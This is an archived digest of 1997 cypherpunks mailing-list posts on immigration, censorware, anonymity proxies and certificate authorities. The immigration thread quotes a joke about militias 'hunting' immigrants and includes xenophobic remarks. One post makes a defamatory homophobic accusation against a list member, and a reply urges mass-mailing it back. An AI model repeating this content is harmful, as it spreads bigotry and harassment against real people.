------------------------------------------------------------------------
---------------





Gordon Ross  CEO/President
Net Nanny Software International Inc.
Suite 108 - 525 Seymour Street
Vancouver, B.C.   V6B 3H7
Tel:  (604) 662-8522
E-mail: gordonR@netnanny.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 12:55:34 +0800
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711192035.VAA20768@basement.replay.com>
Message-ID: <199711200445.XAA12630@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711192035.VAA20768@basement.replay.com>, on 11/19/97 
   at 09:35 PM, Anonymous <nobody@REPLAY.COM> said:

>Actually, many studies have found that immigrants, legal and illegal,
>make a net positive contribution to the economy, even considering their
>access to government services.

Yes and 4 out of 5 doctors in an independent study prefer Buffren. Would
you care to back this up with some actual facts.

>Anyone who has worked with these people
>knows that most of them work harder than native born Americans.

>Even aside from the strictly economic balance sheets, giving these people
>the opportunity to succeed in a free country is a significant moral
>benefit which must count in favor of free immigration.

I think it would be a significant moral benefit for these people to work
towards making their own countries free thereby giving all their
countrymen the opportunity to succeed rather than the few who manage to
slip under the wire.

>They also serve to make our country more multi-cultural, with greater
>awareness and appreciation of the value of alternate customs and
>lifestyles.  We develop "hybrid vigor", as our culture is cross
>fertilized by elements from all around the world.  The result is an
>incredibly dynamic and flexible culture, which is why the United States
>will continue to be a world leader for the next century.

What a bunch of liberal claptrap. Are they actually teaching this crap in
school nowadays??

>Of course, this gift of diversity causes immigrants to be hated and
>feared by racists such as Tim May, who sees them only as targets to mock
>with threats of murder:

Call 911 as some one has stolen your sense of humor.

>> Ironically, the authorities are refusing to enforce the immigration laws.
>> This is why the militias here in California have been forced to deal with
>> illegal immigrants in the only way left to them. (There's a hunt in
>> Imperial Valley this coming Saturday.)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 20 Nov 1997 05:47:24 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users
In-Reply-To: <Pine.SUN.3.96.971119110903.2266B-100000@beast.brainlink.com>
Message-ID: <Pine.BSF.3.96.971119223240.12431A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 19 Nov 1997, Ray Arachelian wrote:

> On Thu, 20 Nov 1997, Lucky Green wrote:
> 
> > That is unlikely to  happen. The copies are  personalized.
> 
> In what way?  If two people get copies of it and then diff them, the
> personalizations are obvious.

Yes, indeed the personalizations are obvious. Even with just one copy. As
in "user ID" and "password", both of which are required to join the AT&T
crowd. Which happens to be the only crowd that it currently even makes
semi sense to join.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 20 Nov 1997 12:11:32 +0800
To: cypherpunks@toad.com
Subject: Censorware Summit agenda (December 1-3)
Message-ID: <v0300781ab09960e81d17@[204.254.22.110]>
MIME-Version: 1.0
Content-Type: text/plain



[Note civil liberties and journalism groups are absent from the list of
organizations represented. --Declan]

===========


FOR IMMEDIATE RELEASE                   CONTACT:
Wednesday, November 19, 1997                    Sydney Rubin, 301/654-5991
                                                        Malena Hougen,
202/828-9730



INTERNET/ONLINE SUMMIT: FOCUS ON CHILDREN RELEASES AGENDA FOR MEETING,
DECEMBER 1-3



WASHINGTON, D.C. - Organizers of the Internet/Online Summit: Focus on Children
today released an agenda for the historic three-day meeting of public
interest and family advocates, educators, industry leaders and law
enforcement officials joining forces to find  ways to enhance the safety
and education of children in cyberspace.

The meeting is the first time so many diverse organizations have come
together to address safety and content issues related to children and the
new mass medium. The Summit is the first in a series of discussions on
issues affecting children in cyberspace, including advertising, access,
privacy, and marketing and content.  The first meeting will focus on
content and safety.

The December 1-3 Summit will include speakers, panels, announcements of
initiatives taken by the Summit and its participants, and a small
exhibition of technological tools and educational resources available to
help parents manage children's time on-line.  Panelists will be announced
prior to the Summit.

The Summit Agenda, which is subject to change, follows:

MONDAY, DECEMBER 1,  5 p.m. - 8:30 p.m.
Registration and Opening Reception adjacent to technological tools kiosks

TUESDAY, DECEMBER 2, 7:30 a.m. - 6 p.m.
Breakfast
Call to Order
Speaker (Vice President Al Gore invited to speak)
Presentation on Good Content with the Public Broadcasting System and others
Framing the Issues: speaker Lois Jean White, President of the National PTA
Panel in Framing the Issues
Panel in "Safety"
Luncheon Speakers:      Speaker of the House Newt Gingrich, Secretary of
Commerce
William M. Daley

Presentation on Law Enforcement On-Line: Attorney General Janet Reno and
panelists
Presentation on Public Education: Secretary Richard W. Riley and panelists
Presentation on the Technology Tool Kit
Panel on Filtering and Ratings

WEDNESDAY, DECEMBER 3,  8:30 a.m. - noon
Breakfast
Review of Previous Day:  Christine Varney, Chairperson of the Summit
Congressional Roundtable with Summit Participants
Kids Panel Moderated by Linda Ellerbee
Conclusion

All activities will take place at the Renaissance Washington, D.C. Hotel at
999 Ninth Street, N.W.

Registration to attend the Summit must be done through the Summit's Web
site: www.kidsonline.org.  Separate registration forms are available at the
site for journalists and the public, as well as other information as it
become available.

A partial list of the organizations sponsoring the Summit includes:

AT&T                                                    America Online
American Library Association                            Center for
Democracy and Technology
Center for Media Education                              Children Now
The Children's Partnership                              CompuServe
The Direct Marketing Association                        Disney Online
Digital Equipment/Alta Vista                            Enough is Enough
Family Education Company                                IBM
Interactive Services Association                                The
Learning Company/Cyber Patrol
Microsoft Corporation                                   MCI Communication
Corporation
NETCOM                                          Net Nanny
National Association of Secondary School Principals
National Center for Missing & Exploited Children        National Consumers
League
National Education Association                          National Law Center
Surfwatch                                               Time Warner

# # #






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 13:00:33 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <532d5c8e06a123ce2c6bc69646495202@anon.efga.org>
Message-ID: <199711200450.XAA12686@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <532d5c8e06a123ce2c6bc69646495202@anon.efga.org>, on 11/19/97 
   at 07:12 PM, Anonymous <anon@anon.efga.org> said:

>At 10:27 PM 11/18/97 -0600, Mr. Geiger wrote:
>>
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>, on 11/18/97 
>>   at 11:34 PM, Mikhael Frieden <mikhaelf@mindspring.com> said:
>>
>>>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:
>>>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>>>I think that there is plenty of case law of extending constutional
>>>>protections to non-citizens. One that comes to mind were the rulings
>>>>against California inwhich the courts ruled the they were obligated to
>>>>provide schooling and social services to illegal aliens (a really fucked
>>>>rulling IMNSHO but if some good can come out of it no sense not making use
>>>>of it).
>>
>>>        In a much more fundamental sense, if they were not given
>>>constitutional protections they really could be rounded up and bussed
>>>across the border. 
>>
>>And this would be a BadThing(TM)??
>>
>>- -- 
>>- ---------------------------------------------------------------
>>William H. Geiger III  http://users.invweb.net/~whgiii
>>Geiger Consulting    Cooking With Warp 4.0
>>
>>Author of E-Secure - PGP Front End for MR/2 Ice
>>PGP & MR/2 the only way for secure e-mail.
>>OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
>>- ---------------------------------------------------------------
>>
>>-----BEGIN PGP SIGNATURE-----
>>Version: 2.6.3a
>>Charset: cp850
>>Comment: Registered_User_E-Secure_v1.1b1_ES000000
>>
>>iQCUAwUBNHJqx49Co1n+aLhhAQFRjgP3YOksOybgbGdafOpOgya5TPsrQkBckRAm
>>QhnUQWNpEbzAmUY1qPOEliaaGnZ/mftxG/Bfqmk2BGr8cQ1ofXapT1oOCpY0m5Zy
>>359mb3INHk6gkW/XyjGQuvYQ9c/XITTAZ8NnjspYjpT2/oPPKarZE0zoCZV3owQI
>>rFY0mGH29A==
>>=L7O7
>>-----END PGP SIGNATURE-----
>>
>>

>I am quite confused, I thought this was the cypherpunk list, i.e. national borders are just speed bumps, anarchy, all that stuff? Has there been some change in philosophy where this is now the nationalistic statist list? Put the gestapo at the borders to kill anyone trying to sneak in? Bus those that don't belong here home?

>Oooooh I now understand, you just hate, your hate for the government has now spilt over to where you hate citizen units that weren't born in this country. I think you, Mr. Geiger, would find a welcome if you submitted your resume to the Border Patrol, just think you could wear a nice spiffy uniform, and some jackboots, and carry a gun; don't drool when you get accepted.

>Just like all the psuedo "freedom fighters" in the militias that Tim is so hyped on, just different thugs that want to control other people's lifes to conform to their belief systems.

ad hominem (adj): marked by an attack on an opponent's character rather than by an answer to the contentions made.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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HvDY6kqnCJo=
=Z6B4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Nov 1997 11:34:32 +0800
To: cypherpunks@toad.com
Subject: Re: Rep. Smith on Lifting Crypto Export Ban
In-Reply-To: <1.5.4.32.19971119174610.00d4dfb8@pop.pipeline.com>
Message-ID: <8D9Fge25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:
>
>                             HON. ADAM SMITH
>
>                              of washington
>
>                     in the house of representatives

Is this the same Smith who's been pushing the "anti-Zionist" amendment?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Thu, 20 Nov 1997 12:12:08 +0800
To: rubin@research.att.com
Subject: Re:  AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users
Message-ID: <199711200350.WAA29666@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



Yeah, that license agreement was forced on us. We were
grateful they let us give away all the source code.

> From gnu@toad.com  Wed Nov 19 00:32:10 1997
> Delivery-Date: Wed, 19 Nov 1997 00:32:11 -0500
> Return-Path: gnu@toad.com
> Received: from research.att.com (research-clone.research.att.com [135.207.30.100])
> 	by amontillado.research.att.com (8.8.7/8.8.7) with SMTP id AAA27270
> 	for <rubin@issr.research.att.com>; Wed, 19 Nov 1997 00:32:09 -0500 (EST)
> Received: from toad.com ([140.174.2.1]) by research-clone; Wed Nov 19 00:30:14 EST 1997
> Received: from localhost (localhost [127.0.0.1]) by toad.com (8.7.5/8.7.3) with SMTP id VAA02158; Tue, 18 Nov 1997 21:30:06 -0800 (PST)
> Message-Id: <199711190530.VAA02158@toad.com>
> X-Authentication-Warning: toad.com: Host localhost [127.0.0.1] didn't use HELO protocol
> To: cypherpunks@toad.com, rubin@research.att.com, gnu@toad.com
> Subject: AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users
> Date: Tue, 18 Nov 1997 21:30:05 -0800
> From: John Gilmore <gnu@toad.com>
> Status: R
> 
> It has a screwy "non-commercial use only, AT&T gets everything, you
> get nothing" license, but otherwise it looks interesting.
> 
> 	John
> 
> From: Avi Rubin <rubin@research.att.com>
> 
> John,
> 
> You may remember that at Crypto, I described the Crowds system to you.
> The system is now robust and up and running, and we have ported it to
> windows and unix platforms, so just about anyone should be able to use
> it. In fact, if there is such a thing as Perl for macintosh, I'm sure
> it would work on that platform too.
> 
> We are very interested in getting more users of our system. As it is
> intended to provide privacy to web users, I thought that perhaps it is
> something that you and EFF would be interested in. Do you think you
> could put a link to the Crowds page on the EFF web site?  Anything
> else you can do to help increase the usage would be great, because our
> system has the property that the more poeple use it, the more secure
> it is. Let me know if you have any questions.
> 
> The Crowds page is:  http://www.research.att.com/projects/crowds
> 
> Thanks,
> Avi
> 
> --
> 
> *********************************************************************
> Aviel D. Rubin                                 rubin@research.att.com
> Secure Systems Research Dept.                Adjunct Professor at NYU
> AT&T Labs - Research
> 180 Park Avenue                   http://www.research.att.com/~rubin/
> Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
> USA                                            FAX:   +1 973 360-8809
> 
>    --> Check out http://www.clark.net/pub/mjr/websec/ for a new
>        book on web security (The Web Security Sourcebook).
> *********************************************************************
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 20 Nov 1997 12:52:54 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199711200452.WAA02757@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   Barnes and Noble 
   
   
   
   
   
   
   Main banner rule
   
                   POLL: YOUNG ADULTS WANT BETTER GOVERNMENT
                                       
     graphic November 19, 1997
     Web posted at: 10:57 p.m. EST (0357 GMT)
     
     WASHINGTON (AP) -- Most young adults don't necessarily want to
     reduce government's role in America but want it to do a better job,
     according to a new poll. As for themselves, however, they see their
     future not in government work but in private business.
     
     The survey by pollsters Peter Hart and Robert Teeter was released
     Wednesday at the kickoff of a project by corporations and nonprofit
     groups to increase public trust in government.
     
     In the poll, 40 percent of respondents said government can help them
     achieve their goals in life, compared with the 48 percent who said
     government programs and policies are a hindrance.
     
     But a large majority, 71 percent, answered that government could
     help with better leadership and management, and 60 percent would
     prefer improving the government over simply reducing its size and
     power.
     
     On working in government themselves, 66 percent said a career in the
     private sector is more appealing. The telephone survey of 505
     Americans between the ages of 18 and 34 was conducted October 29 and
     30. The margin of error is plus or minus 4.5 percentage points.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
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  Related site:
  
     Note: Pages will open in a new browser window
     * Council for Excellence in Government homepage
       
     
     
     External sites are not endorsed by CNN Interactive.
     
   
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        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 13:13:24 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <Pine.LNX.3.95.971119103908.23634C-100000@westsec.denver.ssds.com>
Message-ID: <199711200457.XAA12776@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.971119103908.23634C-100000@westsec.denver.ssds.com>, on
11/19/97 
   at 10:55 AM, Jim Burnes <jim.burnes@ssds.com> said:

>Pretty screwy if you ask me, but the court system doesn't have to make
>sense.  Since court decisions seem based on case law and not any
>semblance of morality(?) or constitutional contractual  obligation judges
>seem free to find the exact bit of case law that defends their decisions.

Reminds me of an old Sci-Fi story where in the future all the courtrooms
were computerized. The two opposing lawers would submit disks containing
case law to the computer. One lawer would present one case and the
opposing lawer would present a case that over ruled it. This would go back
and forth until one of the lawers presented a case that could not be over
ruled by the other.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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=n69n
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Colin A. Reed" <aleph@cco.caltech.edu>
Date: Thu, 20 Nov 1997 15:16:36 +0800
To: "William H. Geiger III" <briandaniels@mindspring.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.3.32.19971119124900.007463b0@pop.mindspring.com>
Message-ID: <3.0.3.32.19971119230238.00cb62b0@pop-server.caltech.edu>
MIME-Version: 1.0
Content-Type: text/plain



Yipee!  The know-nothings are back and vehement about it.
At 10:08 PM 11/19/97 -0600, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.3.32.19971119124900.007463b0@pop.mindspring.com>, on 11/19/97 
>   at 12:49 PM, Brian the Obscure <briandaniels@mindspring.com> said:
>
>>At 10:46 AM 11/19/97 -0600, William H. Geiger III wrote:
>>>-----BEGIN PGP SIGNED MESSAGE-----
>>>
>>>In <3.0.3.32.19971119105751.006dedc8@pop.mindspring.com>, on 11/19/97 
>>>   at 10:57 AM, Brian the Obscure <briandaniels@mindspring.com> said:
>>>
>>>>At 08:12 PM 11/18/97 -0700, Tim May wrote:
>>>>>Ironically, the authorities are refusing to enforce the immigration laws.
>>>>>This is why the militias here in California have been forced to deal with
>>>>>illegal immigrants in the only way left to them. (There's a hunt in
>>>>>Imperial Valley this coming Saturday.)
>>>>>
>>>>>--Tim May
>>>
>>>>Now that's a tasteful bit of humor, if I do say so myself.
>>>
>>>>It's so nice to know that being lucky enough to be born in the U.S.
>>>>authorizes us to look down on and hey, advocate killing those who aren't
>>>>so fortunate.
>>>
>>><sigh> I can hear the violins playing in the background.
>
>>Hey, it beats the stomping of jackboots and shouts of 'Sig Heil!'
>
>>>
>>>This is no different than shooting a burglar that has broken into your
>>>house and is robbing it. I think that you are missing a basic concept that
>>>it is not their country!! If where they are at is such a miserable
>>>shithole then maybe they should do somthing to fix their country rather
>>>than comming here and attempt to make it yet another miserable shithole.
>
>>Of course, you have an unimpeachable claim, although 'Geiger the III' is
>>a rather odd last name for an American Indian.
>
>My impeachable claim is I am here and they are not. I see no reason why I
>or anyone else should sit idly by and watch the SouthWest be turned into a
>Mexican colony. You bring up the American Indians, it is interesting to
>note that if they had bothered to stand up against the European invaders
>and defended their boarders from the begining they more then likely would
>still be running the place.
>
>"Those who fail to learn from history are doomed to repeat it."
>
>>>
>>>It is not the fault of America that Mexico is the shithole that it is.
>>>Perhaps if they were to overthrow their corrupt government and replaced it
>>>with one based on freedom (both political and economic) there would be no
>>>need for them to come here in the first place. California, New Mexico,
>>>Arizona, and Texas should not be the release valve for a corrupt Mexican
>>>government so they can continue to rape their country and leave their
>>>citizens in poverty.
>
>>Lets see.  Are you aware of how Texas, California, and New Mexico came to
>>be part of the US?  Probably doesn't matter - those dang furriners had no
>>right to the lands they lived on anyway, once the U.S. decided it wanted
>>them.
>
>So are you suggesting we give it back? Perhaps everyone should just pack
>up and go back to Europe or Asia or Africa and give it all back to the
>Indians? Of course you do know that the "Native Americans" that were in
>North America at the time Europeans started to colonize North America were
>not the "original" humans here. There were actually several waves of
>humans coming over the Siberia-Alaska land bridge over a long period of
>time. I am sure that the peace loving "Native Americans" wouldn't think of
>conquering lands occupied by others now would they??
>
>>I don't find it at all surprising that people who live in a 'shithole'
>>want to leave.  It is easy for you to suggest that they overthrow their
>>government - after all, you won't be the one facing a Mexican prison.  
>
>Personally I could care less what they do. It's not my problem it is
>theirs. It is their responsibility to fix their problems. 
>
>>This is going way off topic at this point, and I am at fault for starting
>>it.  I was just distressed at how rapidly this list seems to be turning
>>towards hate and bigotry.  Lets take it to email.
>
>There is no hatred or bigotry involved in my position. I am really
>apathetic towards the Mexicans. They can go and do whatever they want so
>long as they are not doing it here. The same goes for the Germans, French,
>Ethiopians, Iraqies, Iraelies, Australians, Japanizes, et. al. 
>
>I don't care what my neighbor does in his house so long as he doesn't try
>comming over and doing it in mine.
>
>
>- -- 
>- ---------------------------------------------------------------
>William H. Geiger III  http://users.invweb.net/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html
            
>- ---------------------------------------------------------------
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3a
>Charset: cp850
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>-----END PGP SIGNATURE-----
>
>
>


                             -Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 20 Nov 1997 06:31:44 +0800
To: Fisher Mark <FisherM@exch1.indy.tce.com>
Subject: RE: Search engines and https
In-Reply-To: <2328C77FF9F2D011AE970000F84104A749344B@indyexch_fddi.indy.tce.com>
Message-ID: <Pine.BSF.3.96.971119232115.12431D-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 19 Nov 1997, Fisher Mark wrote:
> * Many of us find being your own Certificate Authority makes for greater
> security, as you never have to let your private keys out the door, but
> only recently have the tools for creating and maintaining Certificate
> Authorities and server certificates become really commercialized (i.e.
> GUI front ends, available from Netscape and Microsoft, etc.)

About private CA's: take a look at Xcert's Sentry. http://www.xcert.com/ 


-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Thu, 20 Nov 1997 16:17:05 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Flight 007 and our Civil Liberties
In-Reply-To: <v03102802b09795d84b18@[207.167.93.63]>
Message-ID: <v03102800b09997458bfb@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>>So, these were the two big events which stimulated the FAA, under higher
>>orders, to require mandatory ID of all travelling passengers. And more
>>multimillion dollar sniffers to be installed in airports.

What funny about the sniffers is that they can undoubtedly be fooled by almost any compounds (e.g., ammonium nitrate) having the hydrogen-nitrogen bond signature common to most all explosives.  Tricksters will undoubtedly have fun dusting the lobbies of airports with such chemicals an watching the resulting fun and confusion.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Thu, 20 Nov 1997 13:50:27 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.3.32.19971119124900.007463b0@pop.mindspring.com>
Message-ID: <19971120004302.39634@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Nov 19, 1997 at 10:08:45PM -0600, William H. Geiger III wrote:
> Mexican colony. You bring up the American Indians, it is interesting to
> note that if they had bothered to stand up against the European invaders
> and defended their boarders from the begining they more then likely would
> still be running the place.

yeah yeah, sure. Because history tells you they didn't, perhaps ? They
lost. Period. Even in south america, where they were better organized
and quickly realized they had to fight, they lost. A matter of
technology, I would say....

> "Those who fail to learn from history are doomed to repeat it."

History shows that protectionism doesn't lead anywhere usually. I think
your whole point is flawed, anyway. On one hand you complained about a
gouvernement which takes your money in taxes, and on the other hand you
want the same gouvernement to protect you from the invading mexican scum
? I don't get it. Freedom means freedom of move, and that means that
people will go where they think they can get a better life, wether you
like it or not. Besides, over the past century, a good deal of
interesting people in this country have been emigrants, anyway. So, at
least, you should phrase your point like this "I don't care if an indian
software engineer comes in California, but I don't want to see mexicans
unless they have a PhD". At least that way you will be more coherent.

> >>It is not the fault of America that Mexico is the shithole that it is.
> >>Perhaps if they were to overthrow their corrupt government and replaced it

Actually, it is for a good part. As a few european countries are
responsable for the current shitty situation in their former colonies,
the US aren't clean either when you look at what's going on in south
america. Like it or not. Somehow you want to eat the cake and have it all.

> There is no hatred or bigotry involved in my position. I am really
> apathetic towards the Mexicans. They can go and do whatever they want so
> long as they are not doing it here. The same goes for the Germans, French,
> Ethiopians, Iraqies, Iraelies, Australians, Japanizes, et. al. 

If you (I mean this country) had had this attitude in the past, I don't
think you would be where you are today.
Being in what is supposed to be one of the best academic places around,
I can tell you that if you were to round up and send back home all the
people who don't carry a US passport you wouldn't be left with that
much. (Please avoid saying "oh well, these have a green card and can
legally stay. My whole point is that if borders shouln't have a sense
when money, software, ideas, speech, whatever are concerned, this
applies to people as well. Otherwise your logic is different from what I
was taught)

> I don't care what my neighbor does in his house so long as he doesn't try
> comming over and doing it in mine.

You may own your house and the garden which surrounds it, but otherwise
I doubt you have any more right than me, a random mexican, the guy next
door, on the street which passes by. Or to say it better, you can't
enforce any claimed right. Maybe you can on your street, but what about
the next street ? and the next ? What are you going to do ? create a
militia to defend a few blocks ? and then a bigger one to defend your
town ? pretty soon you will have a nice organization, collecting taxes
to pay the guards at the border of the territory. That's called a
gouvernement ;-) 

                          F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 20 Nov 1997 08:11:55 +0800
To: briandaniels@mindspring.com
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <199711192355.AAA16201@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Brian Daniels writes:

> This is going way off topic at this point, and I am at fault for starting
> it.  I was just distressed at how rapidly this list seems to be turning
> towards hate and bigotry.  Lets take it to email.

Presumably by "this list" you are referring to the fight-censorship list,
and not the cypherpunks list (your message was distributed to both).
The cypherpunks list has been well established as an outpost of hate
and bigotry for some time.

About a year ago, influential cypherpunk Tim May turned away from the
previous emphasis on cryptography and privacy, towards a new approach
emphasizing guns, violence, killing, exclusionary rhetoric, and crude
racist humor.  New members have become active who apparently find these
topics more accessible than the arcane cryptographic technicalities
discussed in the past.  You no longer need a good mind to read the
cypherpunks list; today, a strong stomach is more important.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 15:30:11 +0800
To: "Colin A. Reed" <aleph@cco.caltech.edu>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.3.32.19971119230238.00cb62b0@pop-server.caltech.edu>
Message-ID: <199711200717.CAA14321@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19971119230238.00cb62b0@pop-server.caltech.edu>, on 11/20/97 
   at 02:02 AM, "Colin A. Reed" <aleph@cco.caltech.edu> said:

>Yipee!  The know-nothings are back and vehement about it.

hmmmmm Quoted 115 lines of text for that one-liner?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 22 Nov 1997 11:33:34 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <Pine.SUN.3.94.971119065534.4102B-100000@panix.com>
Message-ID: <3.0.3.32.19971120013554.00692f74@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:39 AM 11/19/1997 -0600, Tim McVeigh wrote:
>Duncan Frissell wrote:
>> US out of the UN and UN out of the US.

Nah - somebody needs to stay and corrupt the UN :-)
	(As if George Bush hadn't demonstrated that it's
	clearly been bought, if not necessarily paid for...)

Besides, it's obvious that Bureaucrats are a different race,
superior to their subjects, and that the proposed UN document
is merely hate speech indicating their right to control
the inferior beings who don't have the decency to comply
with the needs of public order and public morals.
Putting the document on a European web site obviously violates
the laws it requires its fellow Burons to impose on their Peons,
but here in America we're still free to publish such tripe...
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 20 Nov 1997 16:51:04 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: GAK
In-Reply-To: <e6c0e6142c88bba527aef8e8ed4f4578@anon.efga.org>
Message-ID: <Pine.A41.3.95.971120014013.77190B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 17 Nov 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy C. Mayonnaise is not only as queer as 
> a three dollar bill, but he is also into 
> having sex with children.
> 
>   ___
>  <*,*> Timothy C. Mayonnaise
>  [`-']
>  ' - '
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
